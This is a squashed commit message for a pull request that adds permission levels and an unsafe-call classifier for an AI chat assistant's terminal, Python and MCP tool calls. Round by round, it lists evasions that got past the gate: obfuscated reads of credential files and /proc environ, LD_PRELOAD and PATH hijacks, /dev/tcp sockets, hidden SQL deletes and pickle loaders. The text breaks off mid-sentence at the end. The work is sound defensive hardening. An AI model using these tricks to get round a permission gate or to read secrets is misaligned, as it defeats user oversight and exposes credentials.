Michael Han	e1e38419df	Studio: permission levels for chat tool calls (Ask, Approve for me, Off, Full access) (#7079) ... * Studio: permission levels for chat tool calls (Ask, Approve for me, Off, Full access) Replace the Bypass permissions on/off toggle with a four level permission selector, available in Settings > General (new Permissions section above Notifications), the chat settings panel, the composer plus menu, and a new always visible composer pill. Levels: - Ask for approval: every local tool call pauses for allow/deny. - Approve for me: only calls detected as potentially unsafe pause; the python/terminal sandbox stays on. - Off: never pauses; sandbox stays on (previous default behavior). - Full access: never pauses and the sandbox is disabled. Still requires the danger confirmation and is never restored across reloads. Backend adds permission_mode to the OpenAI compatible and Anthropic passthrough payloads and threads it through both tool loops. Auto mode uses a fail closed classifier in tools.py: terminal commands must be on a read only allowlist with no redirection or substitution, python code is AST scanned for writes, exec, process and network use, MCP tools auto run only with read only style names. Unknown tools always ask. Legacy bypass_permissions and confirm_tool_calls keep their exact behavior for existing API callers. * [pre-commit.ci] auto fixes from pre-commit.com hooks for more information, see https://pre-commit.ci * Studio permissions: Off is a plain toggle below Full access Off moves to the bottom of the level menu with a short description and acts as the feature-off state: the composer pill is hidden entirely while Off, and reselecting the active level toggles back to Off. * Studio permissions: higher contrast composer pill text The permission pill uses a foreground based grey instead of the shared muted pill color, so it reads darker in light mode and lighter in dark mode. Full access keeps the danger yellow. * Studio permissions: panel dropdown layout and shorter tooltip Chat settings panel: the Bypass permissions label sits on one line with a full width dropdown underneath, styled like the other panel selects. Tooltip shortened and wording uses Unsloth instead of Studio. * Studio permissions: harden auto-mode unsafe detection Extend the Approve for me classifier to catch write and exec paths that slipped through: - terminal: sort -o, tree -o, xxd -r, find -exec/-execdir/-ok/-delete and find -fprint/-fprintf/-fls now ask; plain read-only forms still auto-run. awk is no longer allowlisted since its program can write and call system(). - python: from-imports of mutating names (from os import remove [as rm]) and star imports now ask. Found by a fuzz and edge-case simulation matrix; pinned in test_permission_mode.py. * Studio permissions: split multi-line terminal commands in auto detection A shell runs each line as its own command, but shlex reads newlines as whitespace, so "ls\nrm -rf x" demoted rm to argument position and auto-ran. Normalize newlines and CR to separators, and treat any all separator token as a command boundary so runs of blank lines still split. Found by the simulation matrix; pinned in tests. * Studio permissions: address review feedback on auto-mode detection Auto-mode (Approve for me) safety classifier hardening: - Python: flag any reference to a mutating attribute, not only direct calls, so indirect refs (f = os.remove; f(x)) and aliases ask. Detect Path.open(mode) write modes and wrap the AST walk to fail closed. - Terminal: match attached short output flags (sort -o/tmp/out) and keep find context across grouping parens so find ( -delete ) asks. - Both: ask before reads that escape the sandbox workdir via parent traversal or hit credential paths (.ssh, .aws, id_rsa, .pem, etc.). permission_mode plumbing: - Fold permission_mode=full into bypass_permissions at the request model so route-level confirm-gate guards see it as bypass. - Reject ask/auto on the Anthropic Messages server-tools path, which has no confirmation channel (mirrors the confirm_tool_calls rejection). - Keep forced RAG autoinject in auto mode: the safe search_knowledge_base retrieval never gates, so derive the skip from the real confirm need. - Reset all local preferences now also clears the legacy confirm key so a reset restores the fresh default instead of the old level. Regression tests added for each case. * [pre-commit.ci] auto fixes from pre-commit.com hooks for more information, see https://pre-commit.ci * Studio permissions: close auto-mode classifier gaps from review round 2 Auto mode ("Approve for me") let a few mutating calls through as safe: - os.open(...) always creates/writes a descriptor, so treat it as unsafe even though builtin open in read mode stays safe. - fd -x/--exec/-X/--exec-batch runs a command per match; scan for these alongside find's -exec/-delete. - tempfile writes artefacts and hands back writable handles, so importing it now asks. - Calling the result of a call (getattr(os, "remove")("x"), partials) is a dynamic target the AST can't vet, so fail closed. - An MCP tool whose name pairs a read verb with a mutating one (get_or_create_issue, read_and_delete_file) no longer auto-runs on the read prefix alone. Also fold permission_mode="off" into confirm_tool_calls=False on both request models so the non-stream route guard sees the disabled gate, and drive the Confirm tool calls toggle off permission_mode="ask" so auto no longer shows it on. * Harden auto-mode classifier and normalize bypass to full for PR #7079 Approve for me now asks for a few cases it previously auto-ran: - os.open via an os alias (import os as o; o.open(path, O_CREAT)) - pathlib symlink_to / hardlink_to / link_to - importlib.import_module dynamic imports - os.mkfifo / os.mknod / os.utime Also fold bypass_permissions into full when a stale ask/auto permission_mode is sent alongside it, so the Anthropic route guard no longer 400s those legacy callers. Adds classifier and request-model regression tests. * Close more auto-mode classifier gaps for PR #7079 Approve for me now asks for cases the review surfaced: - builtin open aliased to a name (f = open; from builtins import open as w) or looked up dynamically (globals()['open']) - pickle / marshal / shelve / dill deserialization - io.FileIO write handles - sort --compress-program (runs an external program) - MCP names carrying save/archive/submit/commit/push/sync/register verbs Also refine the attribute open() write check so an explicit read mode (ZipFile.open(name, "r")) stays auto while os.open flags still ask. Adds test coverage for each case. * [pre-commit.ci] auto fixes from pre-commit.com hooks for more information, see https://pre-commit.ci * Close three more auto-mode gaps for PR #7079 - rg runs an arbitrary program per file via --pre / --hostname-bin, so "Approve for me" now asks for those flags (rg is on the read-only allowlist). - A path-qualified command token (./ls, /tmp/cat) is an arbitrary executable, not the trusted utility its basename matches, so it asks before running. - A direct /chat/completions caller that sets permission_mode ask/auto but omits the legacy confirm_tool_calls flag now self-enables the confirmation gate, so tools can no longer run ungated on that path. Adds classifier and request-model tests for each case. * Close auto-mode classifier gaps from review round 3 for PR #7079 Approve for me now asks for cases the latest pass surfaced: - short-option clusters bundling a write flag (sort -uo out => -u -o) - procfs reads that leak a process env/args/memory (cat /proc/self/environ, /proc/PID/cmdline, maps) - env-assignment prefixes that change command lookup/loading (LD_PRELOAD=x ls, PATH=. ls, IFS=x ls); benign FOO=1 cmd stays auto - os.open imported as a bare callable (from os import open as o) Also drops ps from the safe terminal allowlist: its BSD environment flags (ps auxe, ps eww) dump a parent process's unscrubbed env and cannot be flag-parsed reliably, so ps always asks now. Adds classifier tests for each case. * [pre-commit.ci] auto fixes from pre-commit.com hooks for more information, see https://pre-commit.ci * Close auto-mode classifier gaps from review round 4 for PR #7079 Terminal (Approve for me now asks for these): - cd dropped from the safe allowlist: cd /; cat etc/passwd moves the shell out of the session workdir so a later relative read escapes it - env -C/--chdir (workdir escape) and -S/--split-string (builds a fresh command line); wrapper flags are now checked - /etc//passwd and /etc/./passwd normalize to /etc/passwd before the sensitive-path scan - a sensitive path split across an assignment and an argument (p=/etc; cat $p/passwd) via best-effort NAME=value expansion Python: - builtins.exec / builtins.eval attribute calls (dynamic code execution) - destructured open aliases (f, _ = (open, print); f('out', 'w')) - a sensitive path composed from literals (os.path.join('/etc','passwd'), '/etc' + '/passwd') - ZipFile/TarFile write modes (ZipFile(name, 'w')); the reader stays auto Adds classifier tests for each case. * [pre-commit.ci] auto fixes from pre-commit.com hooks for more information, see https://pre-commit.ci * Close auto-mode classifier gaps from review round 5 for PR #7079 Terminal (Approve for me now asks for these): - procfs reads hidden by shell quotes (cat /proc/$PPID/enviro''n) or quoted/nested-variable assignments (p="/proc/$PPID"; cat $p/environ): quotes are stripped and NAME=value prefixes expanded before the scan - LESSOPEN/LESSCLOSE, which make less run an input preprocessor command Python: - os.chdir / os.fchdir, which move the cwd so a later relative read escapes the sandbox workdir - sensitive paths composed via a pathlib / chain (Path('/etc') / 'passwd') or an f-string of literals (f'/proc/{pid}/environ') - runpy (import) and runpy.run_path / run_module, which run arbitrary code Adds classifier tests for each case. * [pre-commit.ci] auto fixes from pre-commit.com hooks for more information, see https://pre-commit.ci * Close auto-mode classifier gaps from review round 6 for PR #7079 Approve for me now asks for these: - a mutating callable reached through a getattr alias (rm = getattr(os, "remove"); rm("f")): calls through a getattr-bound name fail closed - compound MCP tool names carrying clone/checkout/comment/fork/tag/ invite/share, which start with a read verb but still mutate - a sensitive path hidden behind a glob (cat /e??/passwd, cat /e[t]c/passwd): a ? / * / [..] token is matched against the sensitive-file set and bracket classes are de-obfuscated; benign globs (ls *.py) stay auto Also run first-pass RAG retrieval in off mode: like auto, off never prompts, so a direct caller passing a stale confirm flag should not lose document retrieval (both tool loops). Adds classifier tests for each case. * [pre-commit.ci] auto fixes from pre-commit.com hooks for more information, see https://pre-commit.ci * Close auto-mode classifier gaps from review round 7 for PR #7079 Approve for me now asks for these: - __builtins__.exec / __builtins__.eval (dynamic code via the dunder) - terminal reads that hide a credential path behind a backslash escape (cat /et\c/passwd) - read-named MCP filesystem calls pointed at a credential path (mcp__fs__read_file {"path": "/etc/passwd"}) - compound MCP names carrying append / prepend - open aliased through a subscript or builtins attribute (f = globals()["open"]; f = builtins.open) then called to write - open(..., **{"mode": "w"}) where a kwargs splat hides the write mode - a sensitive path with a dynamic segment (open(f"/etc/{name}"), os.path.join("/etc", name)); /tmp/{name} stays auto - urllib3 networking Also stop folding permission_mode ask/auto into confirm_tool_calls for external-provider requests: that branch rejects confirm_tool_calls with tools, and the mode only governs local tool calls. Local requests still self-gate. Adds tests for each case. * Close auto-mode classifier gaps from review round 8 for PR #7079 Approve for me now asks for these: - dbm on the unsafe-module list: dbm.open(file, "c"/"n") creates files, and importing the family signals a persistence writer - reads of ~/.azure and ~/.config/gh credential stores (Azure/GitHub tokens), in terminal, MCP arguments, and Python literals - compound MCP names carrying upsert / assign Adds classifier tests for each case. * Gate secret mounts and fix the composer pill count for PR #7079 - Add Docker/Kubernetes secret mount dirs (/run/secrets, /var/run/secrets) to the sensitive-path checks, so Approve for me asks before reading injected credentials (terminal, MCP args, Python). - Count the always-visible permission pill in the composer's compact threshold so labels collapse at the intended width instead of overflowing by one pill. Adds classifier tests for the secret mount paths. * Close auto-mode classifier gaps from review round 10 for PR #7079 Approve for me now asks for these: - qualified pathlib constructors (pathlib.Path('/etc') / name), folded the same as bare Path(...), so a dynamic sensitive path is detected - open aliased through an annotated assignment (f: object = open; f('out', 'w')), tracked like a plain assignment - recursive searches rooted at an absolute path (grep -R TOKEN /home, rg TOKEN /, fd pattern /etc), which read host files outside the sandbox tree; sandbox-relative searches stay auto Adds classifier tests for each case. * [pre-commit.ci] auto fixes from pre-commit.com hooks for more information, see https://pre-commit.ci * Close auto-mode classifier gaps from review round 11 for PR #7079 Approve for me now asks for these terminal reads, which bash would expand into a sensitive path only after the classifier had approved: - a glob that resolves into a secret mount or credential dir (cat /r?n/secrets/hf_token, cat /root/.s??/id_rsa) - a recursive search rooted at a tilde home (grep -R TOKEN ~root, grep -R TOKEN ~/logs) - a brace expansion that builds a credential path (cat /etc/pass{w,}d) - a default/alternate parameter expansion that builds one (cat /etc/pass${x:-wd}) - an input redirection that hides a glob (cat </e??/passwd) And these python calls: - a str.format-built sensitive path (open('/etc/{}'.format('passwd'))) - writer methods that persist to disk without open() (numpy.save, Image.save, plt.savefig, DataFrame.to_csv, json.dump) Segment-wise directory matching keeps benign globs (ls /home/*/projects) auto. Adds regression tests for each case and its safe counterpart. * Close auto-mode classifier gaps from review round 12 for PR #7079 Approve for me now asks for these too: - a terminal read whose parent traversal hides behind a redirection with no following space (cat <../../notes) - a python read whose path is built with str.join (open(''.join(['/etc', '/passwd']))), told apart from os.path.join - a dynamic-code builtin reached through an alias (from builtins import eval as e; e(...); x = builtins.exec; x(...)) Adds regression tests for each case and its safe counterpart. * Close auto-mode classifier gaps from review round 13 for PR #7079 Approve for me now asks for these too: - a recursive search whose root is hidden behind an assignment (p=/; grep -R TOKEN $p): the recursive-root test now runs on the assignment-expanded tokens as well - a python read whose sensitive path is split through a literal variable (base = '/etc'; open(base + '/passwd')), including via an f-string - numpy ndarray.tofile, which persists without open() - a sequence brace read (cat /etc/pass{w..w}d), expanded alongside the comma brace form before the sensitive-path scan Adds regression tests for each case and its safe counterpart. * [pre-commit.ci] auto fixes from pre-commit.com hooks for more information, see https://pre-commit.ci * Close auto-mode classifier gaps from review round 14 for PR #7079 Approve for me now asks for these python reads that assemble a sensitive path in a form the fold did not yet recognize: - a pathlib object reused through a name (p = Path('/etc'); p / 'passwd') - old-style percent formatting ('%s/%s' % ('/etc', 'passwd')) - Path.joinpath ('/etc'.joinpath('passwd')) - a bytes path literal (open(b'/etc/passwd')) And these terminal reads, which bash expands into a sensitive path only after the classifier had approved: - a substring parameter expansion off an assignment (p=passwd; cat /etc/${p:0:6}) - an ANSI-C quoted path (cat $'/etc/pass\x77d') - a glob into an Azure or GitHub CLI config dir (cat /home/*/.az?re/..., cat /home/*/.config/g?/...) Adds regression tests for each case and its safe counterpart. * [pre-commit.ci] auto fixes from pre-commit.com hooks for more information, see https://pre-commit.ci * Close auto-mode classifier gaps from review round 15 for PR #7079 Approve for me now asks for these terminal reads, which bash expands into a sensitive path only after the classifier had approved: - a per-thread procfs env alias (cat /proc/$PPID/task/$PPID/environ) - a recursive root behind a default parameter (grep -R TOKEN ${root:-/home}) - a path built by pattern replacement (p=passXd; cat /etc/${p/X/w}) And these python reads: - a pathlib .parent/.parents chain that escapes the session workdir ((Path.cwd().parent / 'other' / 'notes').read_text()) - a sensitive path resolved through glob (glob.glob('/e??/passwd')[0]) Adds regression tests for each case and its safe counterpart. * [pre-commit.ci] auto fixes from pre-commit.com hooks for more information, see https://pre-commit.ci * Close auto-mode classifier gaps from review round 16 for PR #7079 Approve for me now asks for these terminal reads, which bash expands into a sensitive path only after the classifier had approved: - a case-modifying parameter expansion (p=PASSWD; cat /etc/${p,,}) - a mutating find action hidden behind an assignment (f=-delete; find . $f) - a glob assembled through an assignment (g=e??; cat /$g/passwd) - a POSIX bracket class glob (cat /etc/pass[[:lower:]]d) And these python reads/writes: - a glob pattern folded from a literal variable (base='/e??'; glob.glob(base + '/passwd')) - a directly imported os.path.join (from os.path import join; join('/etc', 'passwd')) - a directly imported writer (from numpy import save; save(...)) - an aliased pathlib constructor (from pathlib import Path as P; P('/etc') / 'passwd') The find/fd and glob scans now run on the assignment/parameter-expanded command, and pathlib/join/writer import aliases are tracked. Adds regression tests for each case and its safe counterpart. * [pre-commit.ci] auto fixes from pre-commit.com hooks for more information, see https://pre-commit.ci * Close auto-mode gaps from review round 17 for PR #7079 Two fixes: - Gate sqlite3 in auto mode. sqlite3.connect(path) creates or mutates a database file (and runs DDL/DML) with no open()/writer attribute for the AST checks to catch, so treat the module like dbm and ask. - Only self-enable confirm_tool_calls for Studio's own tool loop. The ask/auto fold previously set confirm on every non-provider request, including a plain client-tool passthrough (client-supplied tools that Studio does not execute), which then tripped the local-tool streaming-confirm route guard and rejected the passthrough. Restrict the fold to requests that actually ask Studio to run tools (enable_tools / enabled_tools / mcp_enabled). Adds regression tests for the sqlite3 write and for the passthrough vs tool-loop confirm behavior. * [pre-commit.ci] auto fixes from pre-commit.com hooks for more information, see https://pre-commit.ci * Close auto-mode gaps from review round 18 for PR #7079 Classifier (auto mode asks for these): - os.open through a module alias (import os as o; o.open(...)); os/posix aliases are tracked like the literal module name. - less/more pagers, whose escapes (+cmd, !shell, -o/--log-file, LESSOPEN) can run a command or write a file the command-name allowlist cannot see, so they are no longer auto-approved. - a read-named MCP tool carrying a mutating query (query_database {"query": "DELETE FROM runs"}); DML/DDL statements are matched as whole statements so a natural-language query that merely contains "delete" stays safe. - ML persistence helpers (save_pretrained / save_file / save_model / save_weights / save_lora / save_checkpoint) that export weights to disk. Route: - Honor CLI-forced tools when deriving the confirm gate. When a process policy (unsloth run --enable-tools) opens the local tool loop without a request-level tool signal, a permission_mode ask/auto request now derives confirm at the route (GGUF and safetensors paths) so the mode still gates the call, and a non-streaming ask/auto request is rejected rather than running unprompted. A plain client-tool passthrough (no local loop) is unaffected. Adds regression tests for each case and its safe counterpart. * [pre-commit.ci] auto fixes from pre-commit.com hooks for more information, see https://pre-commit.ci * Close auto-mode classifier gaps from review round 19 for PR #7079 Approve for me now asks for these too: - a terminal read whose path is built by indirect parameter expansion (x=passwd; p=x; cat /etc/${!p}) - a bash /dev/tcp or /dev/udp redirection, which opens a network socket (cat </dev/tcp/host/port) - a python read via pathlib's receiver-plus-pattern glob (Path('/etc').glob('passw?')) - a python read whose sensitive root passes through a normalizer (os.path.abspath('/etc'), Path('/etc').resolve()) - a pickle-backed loader that can execute code on load (torch.load, joblib.load, pandas.read_pickle), tracked through module import aliases - compiled code wrapped into a callable (compile(...) + types.FunctionType) Adds regression tests for each case and its safe counterpart. * Honor unset permission_mode as ask across the local tool loop for PR #7079 Three gaps where an omitted permission_mode did not behave as the documented default ("ask"): - The frontend only sent permission_mode / confirm_tool_calls / bypass_permissions when a tool pill was on. A process policy (unsloth run --enable-tools) can open the tool loop with no pill, so the backend never saw the selected gate. Send the three permission fields at the top level of every local chat payload instead. - The backend read payload.confirm_tool_calls directly at the pre-switch guard and both late per-backend derivations, so an unset mode fell through as no-gate even for an explicit ask/auto. Add _permission_mode_confirm(payload): explicit confirm_tool_calls wins, explicit ask/auto engage the gate, off/full never prompt, and an unset mode defaults to ask only where realizable (streaming), keeping the legacy no-gate run for non-streaming unset requests. - A forced ask/auto tool loop (CLI --enable-tools) with no stream now 400s at the pre-switch guard before evicting the resident model, matching the existing confirm-without-stream rejection. Adds test_permission_mode_confirm_derivation covering the derivation truth table. * [pre-commit.ci] auto fixes from pre-commit.com hooks for more information, see https://pre-commit.ci * Declare permission_mode and bypass_permissions on the local chat request type The previous change moved permission_mode, confirm_tool_calls and bypass_permissions to the top level of the local chat payload. They had lived inside a conditional spread, which is not subject to excess property checking, so the fields were never declared on OpenAIChatCompletionsRequest. At the top level tsc flagged permission_mode as unknown (TS2322), failing the frontend build and every job whose Studio install builds the frontend. Add permission_mode and bypass_permissions to the request interface (confirm_tool_calls was already present). * Close auto-mode classifier gaps from review round 21 for PR #7079 Auto mode ("Approve for me") now asks for these too: - a pathlib read built from a concrete constructor (PosixPath, WindowsPath and their Pure* forms), which the folder previously ignored so PosixPath('/etc') / 'passwd' lost its /etc root and ran unprompted - a terminal or python read of the ssh host keys under /etc/ssh, which the sensitive-path regex only covered for passwd/shadow/sudoers - a read whose path variable is reassigned: the whole-tree pre-scan kept the last binding, so base = '/etc'; open(base + '/passwd'); base = 'data' folded to data/passwd and ran even though execution reads /etc/passwd; any multiply-bound name now folds to the escape sentinel and asks Also stop the pre-switch guard from rejecting a plain client-tool passthrough. permission_mode only implies the confirm gate for Studio's own local tool loop (enable_tools / enabled_tools / mcp_enabled); a non-streaming client-tool passthrough that carries permission_mode ask/auto (confirm_tool_calls left unset by the validator) must forward to the provider branch. Only an explicit confirm_tool_calls=True still forces the local-confirm rejection there. Adds regression tests for each case and its safe counterpart. * Fix permission-pill compaction count and Full-access confirm sync for PR #7079 Two frontend consistency issues in the permission-level UI: - The composer collapses tool pills to icons above four, but the count left out the permission pill, which renders in every mode except off. With one optional pill also shown the row reached five pills without collapsing and could overflow. Count the pill when it is visible (permission_mode != off). - Entering Full access via setPermissionMode('full') or setBypassPermissions(true) left confirmToolCalls at its previous value, so a Full-access run (which sends confirm_tool_calls=false) could still report confirmations as enabled in response metadata. Set confirmToolCalls false at both entry points. * Close auto-mode classifier gaps from review round 23 for PR #7079 Auto mode ("Approve for me") now asks for these too: - a command using an abbreviated GNU long option that reaches a write/exec action (sort --out= for --output, env --ch= for --chdir, fd --base-dir= for --base-directory); a prefix of an unsafe long flag now fails closed - printf -v NAME, which assigns to a shell variable, so printf -v PATH %s .; ls can rewrite PATH and run ./ls unprompted - fd --base-directory / --search-path, which move the search root outside the session workdir without any positional slash token - an MCP tool whose compound read name carries a copy-style mutator (read_and_copy_file, get_and_snapshot_volume): copy, duplicate, import, export, download, backup, restore, snapshot, mirror Also treat an omitted permission_mode as its documented default ("ask") on the Anthropic Messages server-tool path. That branch has no confirmation channel and already rejects explicit ask/auto, so an omitted mode now falls into the same rejection instead of silently running server tools unprompted, unless the caller opted out with confirm_tool_calls=false (the legacy equivalent of "off"). off/full and that opt-out still run; the two routing tests that relied on the old implicit run now set permission_mode="off". Adds regression tests for each case and its safe counterpart. * [pre-commit.ci] auto fixes from pre-commit.com hooks for more information, see https://pre-commit.ci * Refine permission gating from review round 24 for PR #7079 Four fixes from the latest review: - Anthropic Messages server tools: an omitted permission_mode no longer rejects a request that only runs safe server tools (web_search), so existing Anthropic callers keep working. It still rejects an omitted mode when a local tool (terminal/python) is selected, and an explicit ask/auto is still rejected outright. off/full and a confirm_tool_calls=false opt-out always run. - Pre-switch confirm-without-stream guard: use _explicit_studio_tool_loop_requested (the same predicate the passthrough router uses) instead of the policy-inclusive _effective_enable_tools, so a process --enable-tools policy no longer turns a client-tool passthrough into a local-loop rejection. - Auto mode now asks for `uniq INPUT OUTPUT`: uniq writes its second file positional, so a second positional (numeric flag values skipped) is treated like `sort -o`. A lone `uniq file` or piped `... | uniq` stays safe. - MCP mutation check now strips SQL comments before matching, so DELETE/**/FROM and UPDATE/**/users (comment-as-whitespace) no longer slip past the DML/DDL denylist. Adds regression tests for each case and its safe counterpart. * [pre-commit.ci] auto fixes from pre-commit.com hooks for more information, see https://pre-commit.ci * Close auto-mode gaps from review round 25 for PR #7079 Auto mode ("Approve for me") now asks for these Python cases too: - a bare archive constructor with a write mode (from zipfile import ZipFile; ZipFile('out.zip', 'w')), tracked through import aliases like the zipfile.ZipFile attribute call already was - a dynamic lookup aliased through getattr (g = getattr; rm = g(os, 'remove'); rm('file')), not just direct getattr(...) calls - a callable that wraps open or a writer via functools.partial (w = partial(open, mode='w'); w('out.txt')), which hides the write mode Also: - Always-safe tools (render_html) stream their early provisional canvas card in auto mode again. The provisional-card guard mirrored the raw confirm flag, which suppressed the early card under Approve-for-me; it now reuses the auto-mode safety decision (is_always_safe_tool). - The assistant-ui composer no longer counts the permission pill toward its collapse threshold when the level is Off (the pill renders null there), matching the other composer. Adds regression tests for each case and its safe counterpart. * [pre-commit.ci] auto fixes from pre-commit.com hooks for more information, see https://pre-commit.ci * Align permission-mode confirm guards with the router (review round 26) Three pre-switch confirm-gate checks disagreed with how the tool loop actually enters, so a valid request could 400 (or an invalid one could evict the resident model) at the wrong point: - The /chat/completions pre-switch guard only looked at explicit request fields, so a process --enable-tools policy that forces the loop on (request omits enable_tools, no client tools) slipped past it and only 400ed after _maybe_auto_switch_model had swapped the model. It now mirrors the router's own loop-entry gate (_effective_enable_tools or mcp, tool_choice="none" disabling it unless explicitly asked) while still deferring to client-tool passthrough, so the policy-forced case is caught before the switch. - The ChatCompletionRequest full/off fold treated enabled_tools by itself as a local-loop request and set confirm_tool_calls=True. The router never starts the loop on enabled_tools alone (it only filters which tools run), so a non-streaming passthrough carrying client tools plus enabled_tools 400ed instead of routing verbatim. The fold now keys off the same enable_tools / mcp_enabled signals. - The Anthropic /v1/messages unsupported-mode rejection (ask/auto, or an omitted mode selecting terminal/python) ran inside the post-switch server-tools block, so an invalid request evicted the resident model before the 400. It now runs before the auto-switch, determined from the requested server tools, like the neighboring malformed- and mixed-tool guards. Adds regressions for each: a policy-forced non-streaming ask/auto guard rejection that never reaches the switch, an enabled_tools-only passthrough that keeps confirm unset, and an Anthropic rejection that precedes _maybe_auto_switch_model. * [pre-commit.ci] auto fixes from pre-commit.com hooks for more information, see https://pre-commit.ci * Close auto-mode classifier gaps from review round 27 for PR #7079 Auto mode ("Approve for me") now asks for these host-mutating or host-reading cases it previously ran unprompted (the sandbox does not jail filesystem reads, and terminal commands can change host state): - Destructured string literals fold into the scanned path now, so base, leaf = ('/etc', 'passwd'); open(base + '/' + leaf).read() resolves to /etc/passwd and asks, like the single-assignment form already did. The tuple/list unpacking branch tracked only aliases to open; it now also binds literal and folded-path elements. - pathlib name rewrites fold to the rewritten path: Path('/etc/x').with_name('passwd').read_text() (and with_stem / with_suffix) spell no literal /etc/passwd but resolve to it, so they are folded and caught. Benign in-sandbox rewrites stay safe. - hostname NAME (or -F/--file, -b/--boot) sets the hostname, so a positional or a set flag asks; bare hostname and the display flags (-f/-i/-I/...) stay read-only. - date -s/--set STRING and the bare MMDDhhmm... positional set the system clock and now ask; the display forms stay read-only (+FORMAT, -u/-R, and -d/-r/-f whose following value is skipped so date -d tomorrow is not mistaken for a clock-setting positional). Adds regression rows for each gap and its safe counterpart. * [pre-commit.ci] auto fixes from pre-commit.com hooks for more information, see https://pre-commit.ci * Close more auto-mode classifier gaps from review round 28 for PR #7079 Auto mode ("Approve for me") now asks for these cases too: - Mapping-style %-formatted paths. '/etc/%(f)s' % {'f': 'passwd'} folds to /etc/passwd and asks; a dynamic value or a non-literal mapping leaves the NUL marker so /etc/<dynamic> still fails closed. The path folder previously handled only tuple/scalar % right-hand sides and returned None for a dict, hiding the sensitive segment. - A read-named MCP database tool carrying PostgreSQL COPY. COPY ... FROM bulk-loads a table and COPY ... TO writes a server-side file, so both are matched as mutating queries like DELETE/UPDATE already were. A 'copy' substring in a column name stays safe (word boundary). - logging file handlers. logging.FileHandler('out.log', mode='w') (and the default append mode, RotatingFileHandler/TimedRotatingFileHandler/ WatchedFileHandler, and the bare from-import form) create or truncate a file like open(..., 'w'), so they are classified as writer calls. StreamHandler / NullHandler and logging reads stay safe. Adds regression rows for each gap and its safe counterpart. * Fix writer aliases, GraphQL mutations, and auto server tools (review round 29) - Auto-mode Python: an aliased writer or archive constructor is tracked like the existing open alias, so from numpy import save; s = save; s('out.npy', arr) (and z = ZipFile; z('a.zip', 'w'), incl. the destructured forms) ask instead of running the write unprompted. A benign builtin alias (x = len) stays safe. - Auto-mode MCP: a read-named tool carrying a GraphQL mutation now asks. query_graphql {"query": "mutation { deleteIssue(id: 1) }"} matches a leading mutation keyword (GraphQL uses # comments, so it scans the raw payload); GraphQL read queries stay safe. - Anthropic /v1/messages: permission_mode "auto" no longer 400s a safe-only server-tool selection. auto only needs a confirmation channel for an unsafe call, so like the omitted default it runs for web_search / RAG / render and rejects only when a gate-needing local terminal/python tool is selected. ask still always rejects (it asks per call, which this passthrough cannot honor). The rejection stays ahead of the model auto-switch. Adds regression rows/cases for each. * [pre-commit.ci] auto fixes from pre-commit.com hooks for more information, see https://pre-commit.ci * Gate asyncio spawn, net clients, default-captured open; allow safe-only auto (round 30) Auto-mode Python now asks for more process/network/write vectors: - asyncio process spawners (asyncio.create_subprocess_exec/shell and a loop's subprocess_exec/shell) run an arbitrary program without the terminal blocklist, so they gate like os.system/subprocess. - stdlib network clients imaplib / poplib / nntplib / xmlrpc(.client) / webbrowser open outbound connections the sandbox does not namespace off, so their import asks like the other network modules. - a callable captured as a function or lambda parameter default (def f(o=open): o('out', 'w')) now binds that parameter into the same alias set, so the later write through it is gated. A benign default (o=len) stays safe. Also, permission_mode "auto" no longer 400s a non-streaming local tool request whose selection is always-safe-only (web_search / RAG / render). auto only prompts for a classifier-flagged call, so a safe-only auto request needs no stream, while ask, an explicit confirm_tool_calls=true, MCP, and an unrestricted or unsafe selection still require it. Applied via a shared _confirm_gate_needs_stream helper at the pre-switch, GGUF, and safetensors confirm-stream guards; the loop's per-call confirm flag is unchanged. Adds regression rows/cases for each. * [pre-commit.ci] auto fixes from pre-commit.com hooks for more information, see https://pre-commit.ci * Catch brace-glob paths and attribute writer aliases; unfold auto (round 31) - Terminal auto mode now runs the glob-sensitive scan over every expansion candidate, so a brace-expanded glob (cat /e{t,}c/pass?d, which bash expands to /etc/pass?d and then globs to /etc/passwd) asks. Brace expansion alone spells no literal /etc/passwd and the glob only resolves once the brace group is expanded, so scanning both together is required. A benign brace + glob stays safe. - Python auto mode now tracks a mutating attribute captured as a plain name: s = np.save; s('out.npy', arr) binds a writer alias, a captured .open bound method (p = Path('out').open; p('w')) fails closed on any call since its mode position varies, and z = zipfile.ZipFile is gated like the bare import. A benign attribute alias (x = np.mean) stays safe. - permission_mode "auto" is no longer folded to confirm_tool_calls=true on the request model. Folding it defeated the safe-only-selection exception in _confirm_gate_needs_stream (an explicit confirm forces stream=true), so a non-streaming safe-only auto request was rejected. Leaving it unset lets the route apply the exception; the mode still drives the loop's per-call gate. "ask" still folds (it gates every call). Adds regression rows/cases for each. * Harden SQL/GraphQL/writer classification and passthrough guards (round 32) MCP argument mutation detection (read-named query tools): - CREATE DDL now matches modifiers and the broader object set, so CREATE OR REPLACE VIEW, CREATE UNIQUE INDEX, CREATE TEMP TABLE, CREATE MATERIALIZED VIEW and CREATE FUNCTION ask. - Stored-procedure invocation (CALL proc(...), EXEC/EXECUTE) and VACUUM ask; a natural-language "call me back" stays safe via the trailing "(" / ";" / end lookahead. - GraphQL # comments are stripped before the mutation match, so mutation # note\n { deleteIssue(id: 1) } no longer hides the mutation. Python auto-mode classification: - numpy.memmap / open_memmap and pandas ExcelWriter / HDFStore create or truncate a file on construction, so they gate like open(..., "w"). - asyncio networking (asyncio.open_connection, loop.create_connection / create_server and unix variants) opens outbound connections/listeners the sandbox does not isolate, so it gates like socket.connect. Terminal auto-mode: file -C / --compile writes a compiled magic database. Routing: - A JSON-schema response_format is guided-decoding passthrough, not a local tool loop, so a --enable-tools policy no longer 400s a non-streaming ask/auto structured-output request at the confirm guard. - An explicit confirm_tool_calls=False opts out of the Anthropic Messages server-tool gate entirely (it wins over the mode, mirroring _permission_mode_confirm and the GGUF path), so it runs even under ask. Adds regression rows/cases for each. * [pre-commit.ci] auto fixes from pre-commit.com hooks for more information, see https://pre-commit.ci * Track path-ctor aliases, exempt empty selection and safe safetensors card (round 33) - Python auto mode now propagates path constructor / join aliases, so assigning Path or os.path.join to another local name is still folded: P = Path; (P('/etc') / 'passwd').read_text() and j = os.path.join; open(j('/etc', 'passwd')) ask, while a benign /tmp alias stays safe. - _confirm_gate_needs_stream now distinguishes an omitted enabled_tools (None, all tools) from an explicit empty list ([], no tools). An empty selection runs no built-in tool and cannot prompt, so a non-streaming auto request with enable_tools=true, enabled_tools=[] is no longer 400ed under a --enable-tools policy. - The safetensors provisional render_html card now uses permission_mode: render_html is always safe and never prompts, so its early canvas card streams under auto (which ships confirm_tool_calls=true) instead of being suppressed, matching the GGUF path's is_always_safe_tool exemption. Adds regression rows/cases for each. * [pre-commit.ci] auto fixes from pre-commit.com hooks for more information, see https://pre-commit.ci * Extend auto-mode classifier: 